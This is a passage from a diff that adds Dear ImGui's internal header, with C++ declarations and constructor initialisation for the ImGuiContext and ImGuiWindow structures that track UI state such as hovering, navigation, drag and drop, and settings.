HoveredIdUsingMouseWheel; // Hovered widget will use mouse wheel. Blocks scrolling the underlying window. + bool HoveredIdPreviousFrameUsingMouseWheel; + bool HoveredIdDisabled; // At least one widget passed the rect test, but has been discarded by disabled flag or popup inhibit. May be true even if HoveredId == 0. + float HoveredIdTimer; // Measure contiguous hovering time + float HoveredIdNotActiveTimer; // Measure contiguous hovering time where the item has not been active + ImGuiID ActiveId; // Active widget + ImGuiID ActiveIdIsAlive; // Active widget has been seen this frame (we can't use a bool as the ActiveId may change within the frame) + float ActiveIdTimer; + bool ActiveIdIsJustActivated; // Set at the time of activation for one frame + bool ActiveIdAllowOverlap; // Active widget allows another widget to steal active id (generally for overlapping widgets, but not always) + bool ActiveIdNoClearOnFocusLoss; // Disable losing active id if the active id window gets unfocused. + bool ActiveIdHasBeenPressedBefore; // Track whether the active id led to a press (this is to allow changing between PressOnClick and PressOnRelease without pressing twice). Used by range_select branch. + bool ActiveIdHasBeenEditedBefore; // Was the value associated to the widget Edited over the course of the Active state. + bool ActiveIdHasBeenEditedThisFrame; + bool ActiveIdUsingMouseWheel; // Active widget will want to read mouse wheel. Blocks scrolling the underlying window. + ImU32 ActiveIdUsingNavDirMask; // Active widget will want to read those nav move requests (e.g. can activate a button and move away from it) + ImU32 ActiveIdUsingNavInputMask; // Active widget will want to read those nav inputs. + ImU64 ActiveIdUsingKeyInputMask; // Active widget will want to read those key inputs. When we grow the ImGuiKey enum we'll need to either to order the enum to make useful keys come first, either redesign this into e.g. a small array. + ImVec2 ActiveIdClickOffset; // Clicked offset from upper-left corner, if applicable (currently only set by ButtonBehavior) + ImGuiWindow* ActiveIdWindow; + ImGuiInputSource ActiveIdSource; // Activating with mouse or nav (gamepad/keyboard) + int ActiveIdMouseButton; + ImGuiID ActiveIdPreviousFrame; + bool ActiveIdPreviousFrameIsAlive; + bool ActiveIdPreviousFrameHasBeenEditedBefore; + ImGuiWindow* ActiveIdPreviousFrameWindow; + ImGuiID LastActiveId; // Store the last non-zero ActiveId, useful for animation. + float LastActiveIdTimer; // Store the last non-zero ActiveId timer since the beginning of activation, useful for animation. + + // Next window/item data + ImGuiNextWindowData NextWindowData; // Storage for SetNextWindow** functions + ImGuiNextItemData NextItemData; // Storage for SetNextItem** functions + + // Shared stacks + ImVector ColorStack; // Stack for PushStyleColor()/PopStyleColor() - inherited by Begin() + ImVector StyleVarStack; // Stack for PushStyleVar()/PopStyleVar() - inherited by Begin() + ImVector FontStack; // Stack for PushFont()/PopFont() - inherited by Begin() + ImVector FocusScopeStack; // Stack for PushFocusScope()/PopFocusScope() - not inherited by Begin(), unless child window + ImVectorItemFlagsStack; // Stack for PushItemFlag()/PopItemFlag() - inherited by Begin() + ImVectorGroupStack; // Stack for BeginGroup()/EndGroup() - not inherited by Begin() + ImVectorOpenPopupStack; // Which popups are open (persistent) + ImVectorBeginPopupStack; // Which level of BeginPopup() we are in (reset every frame) + + // Gamepad/keyboard Navigation + ImGuiWindow* NavWindow; // Focused window for navigation. Could be called 'FocusWindow' + ImGuiID NavId; // Focused item for navigation + ImGuiID NavFocusScopeId; // Identify a selection scope (selection code often wants to "clear other items" when landing on an item of the selection set) + ImGuiID NavActivateId; // ~~ (g.ActiveId == 0) && IsNavInputPressed(ImGuiNavInput_Activate) ? NavId : 0, also set when calling ActivateItem() + ImGuiID NavActivateDownId; // ~~ IsNavInputDown(ImGuiNavInput_Activate) ? NavId : 0 + ImGuiID NavActivatePressedId; // ~~ IsNavInputPressed(ImGuiNavInput_Activate) ? NavId : 0 + ImGuiID NavInputId; // ~~ IsNavInputPressed(ImGuiNavInput_Input) ? NavId : 0 + ImGuiID NavJustTabbedId; // Just tabbed to this id. + ImGuiID NavJustMovedToId; // Just navigated to this id (result of a successfully MoveRequest). + ImGuiID NavJustMovedToFocusScopeId; // Just navigated to this focus scope id (result of a successfully MoveRequest). + ImGuiKeyModFlags NavJustMovedToKeyMods; + ImGuiID NavNextActivateId; // Set by ActivateItem(), queued until next frame. + ImGuiInputSource NavInputSource; // Keyboard or Gamepad mode? THIS WILL ONLY BE None or NavGamepad or NavKeyboard. + ImRect NavScoringRect; // Rectangle used for scoring, in screen space. Based of window->NavRectRel[], modified for directional navigation scoring. + int NavScoringCount; // Metrics for debugging + ImGuiNavLayer NavLayer; // Layer we are navigating on. For now the system is hard-coded for 0=main contents and 1=menu/title bar, may expose layers later. + int NavIdTabCounter; // == NavWindow->DC.FocusIdxTabCounter at time of NavId processing + bool NavIdIsAlive; // Nav widget has been seen this frame ~~ NavRectRel is valid + bool NavMousePosDirty; // When set we will update mouse position if (io.ConfigFlags & ImGuiConfigFlags_NavEnableSetMousePos) if set (NB: this not enabled by default) + bool NavDisableHighlight; // When user starts using mouse, we hide gamepad/keyboard highlight (NB: but they are still available, which is why NavDisableHighlight isn't always != NavDisableMouseHover) + bool NavDisableMouseHover; // When user starts using gamepad/keyboard, we hide mouse hovering highlight until mouse is touched again. + bool NavAnyRequest; // ~~ NavMoveRequest || NavInitRequest + bool NavInitRequest; // Init request for appearing window to select first item + bool NavInitRequestFromMove; + ImGuiID NavInitResultId; // Init request result (first item of the window, or one for which SetItemDefaultFocus() was called) + ImRect NavInitResultRectRel; // Init request result rectangle (relative to parent window) + bool NavMoveRequest; // Move request for this frame + ImGuiNavMoveFlags NavMoveRequestFlags; + ImGuiNavForward NavMoveRequestForward; // None / ForwardQueued / ForwardActive (this is used to navigate sibling parent menus from a child menu) + ImGuiKeyModFlags NavMoveRequestKeyMods; + ImGuiDir NavMoveDir, NavMoveDirLast; // Direction of the move request (left/right/up/down), direction of the previous move request + ImGuiDir NavMoveClipDir; // FIXME-NAV: Describe the purpose of this better. Might want to rename? + ImGuiNavMoveResult NavMoveResultLocal; // Best move request candidate within NavWindow + ImGuiNavMoveResult NavMoveResultLocalVisibleSet; // Best move request candidate within NavWindow that are mostly visible (when using ImGuiNavMoveFlags_AlsoScoreVisibleSet flag) + ImGuiNavMoveResult NavMoveResultOther; // Best move request candidate within NavWindow's flattened hierarchy (when using ImGuiWindowFlags_NavFlattened flag) + ImGuiWindow* NavWrapRequestWindow; // Window which requested trying nav wrap-around. + ImGuiNavMoveFlags NavWrapRequestFlags; // Wrap-around operation flags. + + // Navigation: Windowing (CTRL+TAB for list, or Menu button + keys or directional pads to move/resize) + ImGuiWindow* NavWindowingTarget; // Target window when doing CTRL+Tab (or Pad Menu + FocusPrev/Next), this window is temporarily displayed top-most! + ImGuiWindow* NavWindowingTargetAnim; // Record of last valid NavWindowingTarget until DimBgRatio and NavWindowingHighlightAlpha becomes 0.0f, so the fade-out can stay on it. + ImGuiWindow* NavWindowingListWindow; // Internal window actually listing the CTRL+Tab contents + float NavWindowingTimer; + float NavWindowingHighlightAlpha; + bool NavWindowingToggleLayer; + + // Legacy Focus/Tabbing system (older than Nav, active even if Nav is disabled, misnamed. FIXME-NAV: This needs a redesign!) + ImGuiWindow* FocusRequestCurrWindow; // + ImGuiWindow* FocusRequestNextWindow; // + int FocusRequestCurrCounterRegular; // Any item being requested for focus, stored as an index (we on layout to be stable between the frame pressing TAB and the next frame, semi-ouch) + int FocusRequestCurrCounterTabStop; // Tab item being requested for focus, stored as an index + int FocusRequestNextCounterRegular; // Stored for next frame + int FocusRequestNextCounterTabStop; // " + bool FocusTabPressed; // + + // Render + ImDrawData DrawData; // Main ImDrawData instance to pass render information to the user + ImDrawDataBuilder DrawDataBuilder; + float DimBgRatio; // 0.0..1.0 animation when fading in a dimming background (for modal window and CTRL+TAB list) + ImDrawList BackgroundDrawList; // First draw list to be rendered. + ImDrawList ForegroundDrawList; // Last draw list to be rendered. This is where we the render software mouse cursor (if io.MouseDrawCursor is set) and most debug overlays. + ImGuiMouseCursor MouseCursor; + + // Drag and Drop + bool DragDropActive; + bool DragDropWithinSource; // Set when within a BeginDragDropXXX/EndDragDropXXX block for a drag source. + bool DragDropWithinTarget; // Set when within a BeginDragDropXXX/EndDragDropXXX block for a drag target. + ImGuiDragDropFlags DragDropSourceFlags; + int DragDropSourceFrameCount; + int DragDropMouseButton; + ImGuiPayload DragDropPayload; + ImRect DragDropTargetRect; // Store rectangle of current target candidate (we favor small targets when overlapping) + ImGuiID DragDropTargetId; + ImGuiDragDropFlags DragDropAcceptFlags; + float DragDropAcceptIdCurrRectSurface; // Target item surface (we resolve overlapping targets by prioritizing the smaller surface) + ImGuiID DragDropAcceptIdCurr; // Target item id (set at the time of accepting the payload) + ImGuiID DragDropAcceptIdPrev; // Target item id from previous frame (we need to store this to allow for overlapping drag and drop targets) + int DragDropAcceptFrameCount; // Last time a target expressed a desire to accept the source + ImGuiID DragDropHoldJustPressedId; // Set when holding a payload just made ButtonBehavior() return a press. + ImVector DragDropPayloadBufHeap; // We don't expose the ImVector<> directly, ImGuiPayload only holds pointer+size + unsigned char DragDropPayloadBufLocal[16]; // Local buffer for small payloads + + // Table + ImGuiTable* CurrentTable; + ImPool Tables; + ImVector CurrentTableStack; + ImVector TablesLastTimeActive; // Last used timestamp of each tables (SOA, for efficient GC) + ImVector DrawChannelsTempMergeBuffer; + + // Tab bars + ImGuiTabBar* CurrentTabBar; + ImPool TabBars; + ImVector CurrentTabBarStack; + ImVector ShrinkWidthBuffer; + + // Widget state + ImVec2 LastValidMousePos; + ImGuiInputTextState InputTextState; + ImFont InputTextPasswordFont; + ImGuiID TempInputId; // Temporary text input when CTRL+clicking on a slider, etc. + ImGuiColorEditFlags ColorEditOptions; // Store user options for color edit widgets + float ColorEditLastHue; // Backup of last Hue associated to LastColor[3], so we can restore Hue in lossy RGB<>HSV round trips + float ColorEditLastSat; // Backup of last Saturation associated to LastColor[3], so we can restore Saturation in lossy RGB<>HSV round trips + float ColorEditLastColor[3]; + ImVec4 ColorPickerRef; // Initial/reference color at the time of opening the color picker. + float SliderCurrentAccum; // Accumulated slider delta when using navigation controls. + bool SliderCurrentAccumDirty; // Has the accumulated slider delta changed since last time we tried to apply it? + bool DragCurrentAccumDirty; + float DragCurrentAccum; // Accumulator for dragging modification. Always high-precision, not rounded by end-user precision settings + float DragSpeedDefaultRatio; // If speed == 0.0f, uses (max-min) * DragSpeedDefaultRatio + float ScrollbarClickDeltaToGrabCenter; // Distance between mouse and center of grab box, normalized in parent space. Use storage? + int TooltipOverrideCount; + float TooltipSlowDelay; // Time before slow tooltips appears (FIXME: This is temporary until we merge in tooltip timer+priority work) + ImVector ClipboardHandlerData; // If no custom clipboard handler is defined + ImVector MenusIdSubmittedThisFrame; // A list of menu IDs that were rendered at least once + + // Platform support + ImVec2 PlatformImePos; // Cursor position request & last passed to the OS Input Method Editor + ImVec2 PlatformImeLastPos; + char PlatformLocaleDecimalPoint; // '.' or *localeconv()->decimal_point + + // Settings + bool SettingsLoaded; + float SettingsDirtyTimer; // Save .ini Settings to memory when time reaches zero + ImGuiTextBuffer SettingsIniData; // In memory .ini settings + ImVector SettingsHandlers; // List of .ini settings handlers + ImChunkStream SettingsWindows; // ImGuiWindow .ini settings entries + ImChunkStream SettingsTables; // ImGuiTable .ini settings entries + ImVector Hooks; // Hooks for extensions (e.g. test engine) + + // Capture/Logging + bool LogEnabled; // Currently capturing + ImGuiLogType LogType; // Capture target + ImFileHandle LogFile; // If != NULL log to stdout/ file + ImGuiTextBuffer LogBuffer; // Accumulation buffer when log to clipboard. This is pointer so our GImGui static constructor doesn't call heap allocators. + float LogLinePosY; + bool LogLineFirstItem; + int LogDepthRef; + int LogDepthToExpand; + int LogDepthToExpandDefault; // Default/stored value for LogDepthMaxExpand if not specified in the LogXXX function call. + + // Debug Tools + bool DebugItemPickerActive; // Item picker is active (started with DebugStartItemPicker()) + ImGuiID DebugItemPickerBreakId; // Will call IM_DEBUG_BREAK() when encountering this id + ImGuiMetricsConfig DebugMetricsConfig; + + // Misc + float FramerateSecPerFrame[120]; // Calculate estimate of framerate for user over the last 2 seconds. + int FramerateSecPerFrameIdx; + float FramerateSecPerFrameAccum; + int WantCaptureMouseNextFrame; // Explicit capture via CaptureKeyboardFromApp()/CaptureMouseFromApp() sets those flags + int WantCaptureKeyboardNextFrame; + int WantTextInputNextFrame; + char TempBuffer[1024 * 3 + 1]; // Temporary text buffer + + ImGuiContext(ImFontAtlas* shared_font_atlas) : BackgroundDrawList(&DrawListSharedData), ForegroundDrawList(&DrawListSharedData) + { + Initialized = false; + FontAtlasOwnedByContext = shared_font_atlas ? false : true; + Font = NULL; + FontSize = FontBaseSize = 0.0f; + IO.Fonts = shared_font_atlas ? shared_font_atlas : IM_NEW(ImFontAtlas)(); + Time = 0.0f; + FrameCount = 0; + FrameCountEnded = FrameCountRendered = -1; + WithinFrameScope = WithinFrameScopeWithImplicitWindow = WithinEndChild = false; + GcCompactAll = false; + TestEngineHookItems = false; + TestEngineHookIdInfo = 0; + TestEngine = NULL; + + WindowsActiveCount = 0; + CurrentWindow = NULL; + HoveredWindow = NULL; + HoveredRootWindow = NULL; + HoveredWindowUnderMovingWindow = NULL; + MovingWindow = NULL; + WheelingWindow = NULL; + WheelingWindowTimer = 0.0f; + + HoveredId = HoveredIdPreviousFrame = 0; + HoveredIdAllowOverlap = false; + HoveredIdUsingMouseWheel = HoveredIdPreviousFrameUsingMouseWheel = false; + HoveredIdDisabled = false; + HoveredIdTimer = HoveredIdNotActiveTimer = 0.0f; + ActiveId = 0; + ActiveIdIsAlive = 0; + ActiveIdTimer = 0.0f; + ActiveIdIsJustActivated = false; + ActiveIdAllowOverlap = false; + ActiveIdNoClearOnFocusLoss = false; + ActiveIdHasBeenPressedBefore = false; + ActiveIdHasBeenEditedBefore = false; + ActiveIdHasBeenEditedThisFrame = false; + ActiveIdUsingMouseWheel = false; + ActiveIdUsingNavDirMask = 0x00; + ActiveIdUsingNavInputMask = 0x00; + ActiveIdUsingKeyInputMask = 0x00; + ActiveIdClickOffset = ImVec2(-1, -1); + ActiveIdWindow = NULL; + ActiveIdSource = ImGuiInputSource_None; + ActiveIdMouseButton = 0; + ActiveIdPreviousFrame = 0; + ActiveIdPreviousFrameIsAlive = false; + ActiveIdPreviousFrameHasBeenEditedBefore = false; + ActiveIdPreviousFrameWindow = NULL; + LastActiveId = 0; + LastActiveIdTimer = 0.0f; + + NavWindow = NULL; + NavId = NavFocusScopeId = NavActivateId = NavActivateDownId = NavActivatePressedId = NavInputId = 0; + NavJustTabbedId = NavJustMovedToId = NavJustMovedToFocusScopeId = NavNextActivateId = 0; + NavJustMovedToKeyMods = ImGuiKeyModFlags_None; + NavInputSource = ImGuiInputSource_None; + NavScoringRect = ImRect(); + NavScoringCount = 0; + NavLayer = ImGuiNavLayer_Main; + NavIdTabCounter = INT_MAX; + NavIdIsAlive = false; + NavMousePosDirty = false; + NavDisableHighlight = true; + NavDisableMouseHover = false; + NavAnyRequest = false; + NavInitRequest = false; + NavInitRequestFromMove = false; + NavInitResultId = 0; + NavMoveRequest = false; + NavMoveRequestFlags = ImGuiNavMoveFlags_None; + NavMoveRequestForward = ImGuiNavForward_None; + NavMoveRequestKeyMods = ImGuiKeyModFlags_None; + NavMoveDir = NavMoveDirLast = NavMoveClipDir = ImGuiDir_None; + NavWrapRequestWindow = NULL; + NavWrapRequestFlags = ImGuiNavMoveFlags_None; + + NavWindowingTarget = NavWindowingTargetAnim = NavWindowingListWindow = NULL; + NavWindowingTimer = NavWindowingHighlightAlpha = 0.0f; + NavWindowingToggleLayer = false; + + FocusRequestCurrWindow = FocusRequestNextWindow = NULL; + FocusRequestCurrCounterRegular = FocusRequestCurrCounterTabStop = INT_MAX; + FocusRequestNextCounterRegular = FocusRequestNextCounterTabStop = INT_MAX; + FocusTabPressed = false; + + DimBgRatio = 0.0f; + BackgroundDrawList._OwnerName = "##Background"; // Give it a name for debugging + ForegroundDrawList._OwnerName = "##Foreground"; // Give it a name for debugging + MouseCursor = ImGuiMouseCursor_Arrow; + + DragDropActive = DragDropWithinSource = DragDropWithinTarget = false; + DragDropSourceFlags = ImGuiDragDropFlags_None; + DragDropSourceFrameCount = -1; + DragDropMouseButton = -1; + DragDropTargetId = 0; + DragDropAcceptFlags = ImGuiDragDropFlags_None; + DragDropAcceptIdCurrRectSurface = 0.0f; + DragDropAcceptIdPrev = DragDropAcceptIdCurr = 0; + DragDropAcceptFrameCount = -1; + DragDropHoldJustPressedId = 0; + memset(DragDropPayloadBufLocal, 0, sizeof(DragDropPayloadBufLocal)); + + CurrentTable = NULL; + CurrentTabBar = NULL; + + LastValidMousePos = ImVec2(0.0f, 0.0f); + TempInputId = 0; + ColorEditOptions = ImGuiColorEditFlags__OptionsDefault; + ColorEditLastHue = ColorEditLastSat = 0.0f; + ColorEditLastColor[0] = ColorEditLastColor[1] = ColorEditLastColor[2] = FLT_MAX; + SliderCurrentAccum = 0.0f; + SliderCurrentAccumDirty = false; + DragCurrentAccumDirty = false; + DragCurrentAccum = 0.0f; + DragSpeedDefaultRatio = 1.0f / 100.0f; + ScrollbarClickDeltaToGrabCenter = 0.0f; + TooltipOverrideCount = 0; + TooltipSlowDelay = 0.50f; + + PlatformImePos = PlatformImeLastPos = ImVec2(FLT_MAX, FLT_MAX); + PlatformLocaleDecimalPoint = '.'; + + SettingsLoaded = false; + SettingsDirtyTimer = 0.0f; + + LogEnabled = false; + LogType = ImGuiLogType_None; + LogFile = NULL; + LogLinePosY = FLT_MAX; + LogLineFirstItem = false; + LogDepthRef = 0; + LogDepthToExpand = LogDepthToExpandDefault = 2; + + DebugItemPickerActive = false; + DebugItemPickerBreakId = 0; + + memset(FramerateSecPerFrame, 0, sizeof(FramerateSecPerFrame)); + FramerateSecPerFrameIdx = 0; + FramerateSecPerFrameAccum = 0.0f; + WantCaptureMouseNextFrame = WantCaptureKeyboardNextFrame = WantTextInputNextFrame = -1; + memset(TempBuffer, 0, sizeof(TempBuffer)); + } +}; + +//----------------------------------------------------------------------------- +// [SECTION] ImGuiWindowTempData, ImGuiWindow +//----------------------------------------------------------------------------- + +// Transient per-window data, reset at the beginning of the frame. This used to be called ImGuiDrawContext, hence the DC variable name in ImGuiWindow. +// (That's theory, in practice the delimitation between ImGuiWindow and ImGuiWindowTempData is quite tenuous and could be reconsidered..) +// (This doesn't need a constructor because we zero-clear it as part of ImGuiWindow and all frame-temporary data are setup on Begin) +struct IMGUI_API ImGuiWindowTempData +{ + // Layout + ImVec2 CursorPos; // Current emitting position, in absolute coordinates. + ImVec2 CursorPosPrevLine; + ImVec2 CursorStartPos; // Initial position after Begin(), generally ~ window position + WindowPadding. + ImVec2 CursorMaxPos; // Used to implicitly calculate the size of our contents, always growing during the frame. Used to calculate window->ContentSize at the beginning of next frame + ImVec2 CurrLineSize; + ImVec2 PrevLineSize; + float CurrLineTextBaseOffset; // Baseline offset (0.0f by default on a new line, generally == style.FramePadding.y when a framed item has been added). + float PrevLineTextBaseOffset; + ImVec1 Indent; // Indentation / start position from left of window (increased by TreePush/TreePop, etc.) + ImVec1 ColumnsOffset; // Offset to the current column (if ColumnsCurrent > 0). FIXME: This and the above should be a stack to allow use cases like Tree->Column->Tree. Need revamp columns API. + ImVec1 GroupOffset; + + // Last item status + ImGuiID LastItemId; // ID for last item + ImGuiItemStatusFlags LastItemStatusFlags; // Status flags for last item (see ImGuiItemStatusFlags_) + ImRect LastItemRect; // Interaction rect for last item + ImRect LastItemDisplayRect; // End-user display rect for last item (only valid if LastItemStatusFlags & ImGuiItemStatusFlags_HasDisplayRect) + + // Keyboard/Gamepad navigation + ImGuiNavLayer NavLayerCurrent; // Current layer, 0..31 (we currently only use 0..1) + int NavLayerActiveMask; // Which layers have been written to (result from previous frame) + int NavLayerActiveMaskNext; // Which layers have been written to (accumulator for current frame) + ImGuiID NavFocusScopeIdCurrent; // Current focus scope ID while appending + bool NavHideHighlightOneFrame; + bool NavHasScroll; // Set when scrolling can be used (ScrollMax > 0.0f) + + // Miscellaneous + bool MenuBarAppending; // FIXME: Remove this + ImVec2 MenuBarOffset; // MenuBarOffset.x is sort of equivalent of a per-layer CursorPos.x, saved/restored as we switch to the menu bar. The only situation when MenuBarOffset.y is > 0 if when (SafeAreaPadding.y > FramePadding.y), often used on TVs. + ImGuiMenuColumns MenuColumns; // Simplified columns storage for menu items measurement + int TreeDepth; // Current tree depth. + ImU32 TreeJumpToParentOnPopMask; // Store a copy of !g.NavIdIsAlive for TreeDepth 0..31.. Could be turned into a ImU64 if necessary. + ImVector ChildWindows; + ImGuiStorage* StateStorage; // Current persistent per-window storage (store e.g. tree node open/close state) + ImGuiOldColumns* CurrentColumns; // Current columns set + int CurrentTableIdx; // Current table index (into g.Tables) + ImGuiLayoutType LayoutType; + ImGuiLayoutType ParentLayoutType; // Layout type of parent window at the time of Begin() + int FocusCounterRegular; // (Legacy Focus/Tabbing system) Sequential counter, start at -1 and increase as assigned via FocusableItemRegister() (FIXME-NAV: Needs redesign) + int FocusCounterTabStop; // (Legacy Focus/Tabbing system) Same, but only count widgets which you can Tab through. + + // Local parameters stacks + // We store the current settings outside of the vectors to increase memory locality (reduce cache misses). The vectors are rarely modified. Also it allows us to not heap allocate for short-lived windows which are not using those settings. + ImGuiItemFlags ItemFlags; // == g.ItemFlagsStack.back() + float ItemWidth; // == ItemWidthStack.back(). 0.0: default, >0.0: width in pixels, <0.0: align xx pixels to the right of window + float TextWrapPos; // == TextWrapPosStack.back() [empty == -1.0f] + ImVector ItemWidthStack; + ImVector TextWrapPosStack; + ImGuiStackSizes StackSizesOnBegin; // Store size of various stacks for asserting +}; + +// Storage for one window +struct IMGUI_API ImGuiWindow +{ + char* Name; // Window name, owned by the window. + ImGuiID ID; // == ImHashStr(Name) + ImGuiWindowFlags Flags; // See enum ImGuiWindowFlags_ + ImVec2 Pos; // Position (always rounded-up to nearest pixel) + ImVec2 Size; // Current size (==SizeFull or collapsed title bar size) + ImVec2 SizeFull; // Size when non collapsed + ImVec2 ContentSize; // Size of contents/scrollable client area (calculated from the extents reach of the cursor) from previous frame. Does not include window decoration or window padding. + ImVec2 ContentSizeExplicit; // Size of contents/scrollable client area explicitly request by the user via SetNextWindowContentSize(). + ImVec2 WindowPadding; // Window padding at the time of Begin(). + float WindowRounding; // Window rounding at the time of Begin(). May be clamped lower to avoid rendering artifacts with title bar, menu bar etc. + float WindowBorderSize; // Window border size at the time of Begin(). + int NameBufLen; // Size of buffer storing Name. May be larger than strlen(Name)! + ImGuiID MoveId; // == window->GetID("#MOVE") + ImGuiID ChildId; // ID of corresponding item in parent window (for navigation to return from child window to parent window) + ImVec2 Scroll; + ImVec2 ScrollMax; + ImVec2 ScrollTarget; // target scroll position. stored as cursor position with scrolling canceled out, so the highest point is always 0.0f. (FLT_MAX for no change) + ImVec2 ScrollTargetCenterRatio; // 0.0f = scroll so that target position is at top, 0.5f = scroll so that target position is centered + ImVec2 ScrollTargetEdgeSnapDist; // 0.0f = no snapping, >0.0f snapping threshold + ImVec2 ScrollbarSizes; // Size taken by each scrollbars on their smaller axis. Pay attention! ScrollbarSizes.x == width of the vertical scrollbar, ScrollbarSizes.y = height of the horizontal scrollbar. + bool ScrollbarX, ScrollbarY; // Are scrollbars visible? + bool Active; // Set to true on Begin(), unless Collapsed + bool WasActive; + bool WriteAccessed; // Set to true when any widget access the current window + bool Collapsed; // Set when collapsing window to become only title-bar + bool WantCollapseToggle; + bool SkipItems; // Set when items can safely be all clipped (e.g. window not visible or collapsed) + bool Appearing; // Set during the frame where the window is appearing (or re-appearing) + bool Hidden; // Do not display (== HiddenFrames*** > 0) + bool IsFallbackWindow; // Set on the "Debug##Default" window. + bool HasCloseButton; // Set when the window has a close button (p_open != NULL) + signed char ResizeBorderHeld; // Current border being held for resize (-1: none, otherwise 0-3) + short BeginCount; // Number of Begin() during the current frame (generally 0 or 1, 1+ if appending via multiple Begin/End pairs) + short BeginOrderWithinParent; // Order within immediate parent window, if we are a child window. Otherwise 0. + short BeginOrderWithinContext; // Order within entire imgui context. This is mostly used for debugging submission order related issues. + ImGuiID PopupId; // ID in the popup stack when this window is used as a popup/menu (because we use generic Name/ID for recycling) + ImS8 AutoFitFramesX, AutoFitFramesY; + ImS8 AutoFitChildAxises; + bool AutoFitOnlyGrows; + ImGuiDir AutoPosLastDirection; + ImS8 HiddenFramesCanSkipItems; // Hide the window for N frames + ImS8 HiddenFramesCannotSkipItems; // Hide the window for N frames while allowing items to be submitted so we can measure their size + ImS8 HiddenFramesForRenderOnly; // Hide the window until frame N at Render() time only + ImGuiCond SetWindowPosAllowFlags : 8; // store acceptable condition flags for SetNextWindowPos() use. + ImGuiCond SetWindowSizeAllowFlags : 8; // store acceptable condition flags for SetNextWindowSize() use. + ImGuiCond SetWindowCollapsedAllowFlags : 8; // store acceptable condition flags for SetNextWindowCollapsed() use. + ImVec2 SetWindowPosVal; // store window position when using a non-zero Pivot (position set needs to be processed when we know the window size) + ImVec2 SetWindowPosPivot; // store window pivot for positioning. ImVec2(0, 0) when positioning from top-left corner; ImVec2(0.5f, 0.5f) for centering; ImVec2(1, 1) for bottom right. + + ImVector IDStack; // ID stack. ID are hashes seeded with the value at the top of the stack. (In theory this should be in the TempData structure) + ImGuiWindowTempData DC; // Temporary per-window data, reset at the beginning of the frame. This used to be called ImGuiDrawContext, hence the "DC" variable name. + + // The best way to understand what those rectangles are is to use the 'Metrics->Tools->Show Windows Rectangles' viewer. + // The main 'OuterRect', omitted as a field, is window->Rect(). + ImRect OuterRectClipped; // == Window->Rect() just after setup in Begin(). == window->Rect() for root window. + ImRect InnerRect; // Inner rectangle (omit title bar, menu bar, scroll bar) + ImRect InnerClipRect; // == InnerRect shrunk by WindowPadding*0.5f on each side, clipped within viewport or parent clip rect. + ImRect WorkRect; // Initially covers the whole scrolling region. Reduced by containers e.g columns/tables when active. Shrunk by WindowPadding*1.0f on each side. This is meant to replace ContentRegionRect over time (from 1.71+ onward). + ImRect ParentWorkRect; // Backup of WorkRect before entering a container such as columns/tables. Used by e.g. SpanAllColumns functions to easily access. Stacked containers are responsible for maintaining this. // FIXME-WORKRECT: Could be a stack? + ImRect ClipRect; // Current clipping/scissoring rectangle, evolve as we are using PushClipRect(), etc. == DrawList->clip_rect_stack.back(). + ImRect ContentRegionRect; // FIXME: This is currently confusing/misleading. It is essentially WorkRect but not handling of scrolling. We currently rely on it as right/bottom aligned sizing operation need some size to rely on. + ImVec2ih HitTestHoleSize; // Define an optional rectangular hole where mouse will pass-through the window. + ImVec2ih HitTestHoleOffset; + + int LastFrameActive; // Last frame number the window was Active. + float LastTimeActive; // Last timestamp the window was Active (using float as we don't need high precision there) + float ItemWidthDefault; + ImGuiStorage StateStorage; + ImVector ColumnsStorage; + float FontWindowScale; // User scale multiplier per-window, via SetWindowFontScale() + int SettingsOffset; // Offset into SettingsWindows[] (offsets are always valid as we only grow the array from the back) + + ImDrawList* DrawList; // == &DrawListInst (for backward compatibility reason with code using imgui_internal.h we keep this a pointer) + ImDrawList DrawListInst; + ImGuiWindow* ParentWindow; // If we are a child _or_ popup window, this is pointing to our parent. Otherwise NULL. + ImGuiWindow* RootWindow; // Point to ourself or first ancestor that is not a child window == Top-level window. + ImGuiWindow* RootWindowForTitleBarHighlight; // Point to ourself or first ancestor which will display TitleBgActive color when this window is active. + ImGuiWindow* RootWindowForNav; // Point to ourself or first ancestor which doesn't have the NavFlattened flag. + + ImGuiWindow* NavLastChildNavWindow; // When going to the menu bar, we remember the child window we came from. (This could probably be made implicit if we kept g.Windows sorted by last focused including child window.) + ImGuiID NavLastIds[ImGuiNavLayer_COUNT]; // Last known NavId for this window, per layer (0/1) + ImRect NavRectRel[ImGuiNavLayer_COUNT]; // Reference rectangle, in window relative space + + int MemoryDrawListIdxCapacity; // Backup of last idx/vtx count, so when waking up the window we can preallocate and avoid iterative alloc/copy + int MemoryDrawListVtxCapacity; + bool MemoryCompacted; // Set when window extraneous data have been garbage collected + +public: + ImGuiWindow(ImGuiContext* context, const char* name); + ~ImGuiWindow(); + + ImGuiID GetID(const char* str, const char* str_end = NULL); + ImGuiID GetID(const void* ptr); + ImGuiID GetID(int n); + ImGuiID GetIDNoKeepAlive(const char* str, const char* str_end = NULL); + ImGuiID GetIDNoKeepAlive(const void* ptr); + ImGuiID GetIDNoKeepAlive(int n); + ImGuiID GetIDFromRectangle(const ImRect& r_abs); + + // We don't use g.FontSize because the window may be != g.CurrentWidow. + ImRect Rect() const { return ImRect(Pos.x, Pos.y, Pos.x + Size.x, Pos.y + Size.y); } + float CalcFontSize() const { ImGuiContext& g = *GImGui; float scale = g.FontBaseSize * FontWindowScale; if (ParentWindow) scale *= ParentWindow->FontWindowScale; return scale; } + float TitleBarHeight() const { ImGuiContext& g = *GImGui; return (Flags & ImGuiWindowFlags_NoTitleBar) ? 0.0f : CalcFontSize() + g.Style.FramePadding.y * 2.0f; } + ImRect TitleBarRect() const { return ImRect(Pos, ImVec2(Pos.x + SizeFull.x, Pos.y + TitleBarHeight())); } + float MenuBarHeight() const { ImGuiContext& g = *GImGui; return (Flags & ImGuiWindowFlags_MenuBar) ? DC.MenuBarOffset.y + CalcFontSize() + g.Style.FramePadding.y * 2.0f : 0.0f; } + ImRect MenuBarRect() const { float y1 = Pos.y + TitleBarHeight(); return ImRect(Pos.x, y1, Pos.x + SizeFull.x, y1 + MenuBarHeight()); } +}; + +// Backup and restore just enough data to be able to use IsItemHovered() on item A after another B in the same window has overwritten the data. +struct ImGuiLastItemDataBackup +{ + ImGuiID LastItemId; + ImGuiItemStatusFlags LastItemStatusFlags; + ImRect LastItemRect; + ImRect LastItemDisplayRect; + + ImGuiLastItemDataBackup() { Backup(); } + void Backup() { ImGuiWindow* window = GImGui->CurrentWindow; LastItemId = window->DC.LastItemId; LastItemStatusFlags = window->DC.LastItemStatusFlags; LastItemRect = window->DC.LastItemRect; LastItemDisplayRect = 